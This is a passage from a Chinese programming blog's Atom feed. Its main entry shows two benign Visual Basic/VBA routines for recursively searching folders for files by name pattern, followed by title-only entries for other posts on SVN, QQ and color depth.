Rep</summary><published>2011-04-06T15:32:00Z</published><updated>2011-04-06T15:32:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2011/04/06/2007334.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2011/04/06/2007334.html"/><content type="html">&lt;div&gt;MS的脚本中心，有时间多看看：&lt;a href="http://gallery.technet.microsoft.com/scriptcenter/"&gt;http://gallery.technet.microsoft.com/scriptcenter/&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;方法一：&lt;/p&gt;&lt;div&gt;&lt;span style="border-collapse: collapse; color: #190f00; font-family: Arial, sans-serif; line-height: 22px; "&gt;Sub FileSearchByHavrda_Example_of_procedure_calling()&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;'&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Example of FileSearchByHavrda procedure calling as replacement of missing FileSearch function in the newest MS Office VBA&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' 01.06.2009, Author: P. Havrda, Czech Republic&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;'&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Dim FileNameWithPath As Variant&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Dim ListOfFilenamesWithParh As New Collection&amp;nbsp; &amp;nbsp; ' create a collection of filenames&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Filling a collection of filenames (search Excel files including subdirectories)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Call FileSearchByHavrda(ListOfFilenamesWithParh, "C:\Temp", "*.xls", True)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Print list to immediate debug window and as a message window&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;For Each FileNameWithPath In ListOfFilenamesWithParh&amp;nbsp; &amp;nbsp; ' cycle for list(collection) processing&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Debug.Print FileNameWithPath &amp;amp; Chr(13)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;MsgBox FileNameWithPath &amp;amp; Chr(13)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Next FileNameWithPath&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Print to immediate debug window and message if no file was found&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;If ListOfFilenamesWithParh.Count = 0 Then&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp; Debug.Print "No file was found !"&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp; MsgBox "No file was found !"&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;End If&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;End Sub&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;//------------------------------------------------------------------------------------------------&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Private Sub FileSearchByHavrda(pFoundFiles As Collection, pPath As String, pMask As String, pIncludeSubdirectories As Boolean)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;'&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Search files in Path and create FoundFiles list(collection) of file names(path included) accordant with Mask (search in subdirectories if enabled)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' 01.06.2009, Author: P. Havrda, Czech Republic&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;'&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Dim DirFile As String&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Dim CollectionItem As Variant&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Dim SubDirCollection As New Collection&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Add backslash at the end of path if not present&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;pPath = Trim(pPath)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;If Right(pPath, 1) &amp;lt;&amp;gt; "\" Then pPath = pPath &amp;amp; "\"&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Searching files accordant with mask&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;DirFile = Dir(pPath &amp;amp; pMask)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Do While DirFile &amp;lt;&amp;gt; ""&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;pFoundFiles.Add pPath &amp;amp; DirFile&amp;nbsp;&amp;nbsp;'add file name to list(collection)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;DirFile = Dir ' next file&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Loop&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Procedure exiting if searching in subdirectories isn't enabled&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;If Not pIncludeSubdirectories Then Exit Sub&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Searching for subdirectories in path&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;DirFile = Dir(pPath &amp;amp; "*", vbDirectory)&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Do While DirFile &amp;lt;&amp;gt; ""&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp; ' Add subdirectory to local list(collection) of subdirectories in path&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp; If DirFile &amp;lt;&amp;gt; "." And DirFile &amp;lt;&amp;gt; ".." Then If ((GetAttr(pPath &amp;amp; DirFile) And vbDirectory) = 16) Then SubDirCollection.Add pPath &amp;amp; DirFile&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp; DirFile = Dir 'next file&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Loop&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;' Subdirectories list(collection) processing&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;For Each CollectionItem In SubDirCollection&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Call FileSearchByHavrda(pFoundFiles, CStr(CollectionItem), pMask, pIncludeSubdirectories) ' Recursive procedure call&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;Next&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;br style="word-wrap: break-word; line-height: normal; " /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;span  style="border-collapse: collapse; color: #190f00; font-family: Arial, sans-serif; line-height: 22px; "&gt;End Sub&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;方法二（官方建议）：&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div style="display: inline-block; "&gt;&lt;div&gt;&lt;span  style="font-family: monospace; font-size: 12px; line-height: 19px; "&gt;&lt;pre  style="box-sizing: border-box; position: relative; padding-top: 10px; padding-right: 10px; padding-bottom: 20px; padding-left: 10px; width: 1px; color: #333333; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-family: Consolas, 'Courier New', Courier, monospace; "&gt;Option Explicit&#xD;
&#xD;
Dim fso As New FileSystemObject&#xD;
Dim fld As Folder&#xD;
&#xD;
Private Sub Command1_Click()&#xD;
   Dim nDirs As Long, nFiles As Long, lSize As Currency&#xD;
   Dim sDir As String, sSrchString As String&#xD;
   sDir = InputBox("Type the directory that you want to search for", _&#xD;
                   "FileSystemObjects example", "C:\")&#xD;
   sSrchString = InputBox("Type the file name that you want to search for", _&#xD;
                   "FileSystemObjects example", "vb.ini")&#xD;
   MousePointer = vbHourglass&#xD;
   Label1.Caption = "Searching " &amp;amp; vbCrLf &amp;amp; UCase(sDir) &amp;amp; "..."&#xD;
   lSize = FindFile(sDir, sSrchString, nDirs, nFiles)&#xD;
   MousePointer = vbDefault&#xD;
   MsgBox Str(nFiles) &amp;amp; " files found in" &amp;amp; Str(nDirs) &amp;amp; _&#xD;
          " directories", vbInformation&#xD;
   MsgBox "Total Size = " &amp;amp; lSize &amp;amp; " bytes"&#xD;
End Sub&#xD;
&#xD;
Private Function FindFile(ByVal sFol As String, sFile As String, _&#xD;
   nDirs As Long, nFiles As Long) As Currency&#xD;
   Dim tFld As Folder, tFil As File, FileName As String&#xD;
   &#xD;
   On Error GoTo Catch&#xD;
   Set fld = fso.GetFolder(sFol)&#xD;
   FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _&#xD;
                  vbHidden Or vbSystem Or vbReadOnly)&#xD;
   While Len(FileName) &amp;lt;&amp;gt; 0&#xD;
      FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, _&#xD;
      FileName))&#xD;
      nFiles = nFiles + 1&#xD;
      List1.AddItem fso.BuildPath(fld.Path, FileName)  ' Load ListBox&#xD;
      FileName = Dir()  ' Get next file&#xD;
      DoEvents&#xD;
   Wend&#xD;
   Label1 = "Searching " &amp;amp; vbCrLf &amp;amp; fld.Path &amp;amp; "..."&#xD;
   nDirs = nDirs + 1&#xD;
   If fld.SubFolders.Count &amp;gt; 0 Then&#xD;
      For Each tFld In fld.SubFolders&#xD;
         DoEvents&#xD;
         FindFile = FindFile + FindFile(tFld.Path, sFile, nDirs, nFiles)&#xD;
      Next&#xD;
   End If&#xD;
   Exit Function&#xD;
Catch:  FileName = ""&#xD;
       Resume Next&#xD;
End Function&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&amp;nbsp;&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cursorkey/aggbug/2007334.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cursorkey/archive/2011/04/06/2007334.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2009/09/23/1572198.html</id><title type="text">SVN的Local方式</title><summary type="text">SVN全名Subversion。SVN与CVS一样，是一个跨平台的软件，支持大多数常见的操作系统。本文只讨论Windows的情况。其官方网站是：http://subversion.tigris.org(tigris/是一个和sourceforge类似的开源网站，与sf不同的是，sf提供的CVS服务，而tigris提供的是SVN服务)。 在介绍SVN的应用前，先讨论一下源码管理的一个重要的基本概念：...</summary><published>2009-09-22T16:31:00Z</published><updated>2009-09-22T16:31:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2009/09/23/1572198.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2009/09/23/1572198.html"/></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2006/02/07/326383.html</id><title type="text">挺有意思的ＱＱ资料</title><summary type="text"/><published>2006-02-07T01:46:00Z</published><updated>2006-02-07T01:46:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2006/02/07/326383.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2006/02/07/326383.html"/></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2005/11/02/267189.html</id><title type="text">这些东西不宜空腹吃[转]</title><summary type="text"/><published>2005-11-02T07:10:00Z</published><updated>2005-11-02T07:10:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2005/11/02/267189.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2005/11/02/267189.html"/></entry><entry><id>http://www.cnblogs.com/cursorkey/archive/2005/10/21/259118.html</id><title type="text">色深 (Color Depth)</title><summary type="text"/><published>2005-10-21T05:58:00Z</published><updated>2005-10-21T05:58:00Z</updated><author><name>Cursorkey</name><uri>http://www.cnblogs.com/cursorkey/</uri></author><link rel="alternate" href="http://www.cnblogs.com/cursorkey/archive/2005/10/21/259118.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/cursorkey/archive/2005/10/21/259118.html"/></entry></feed>
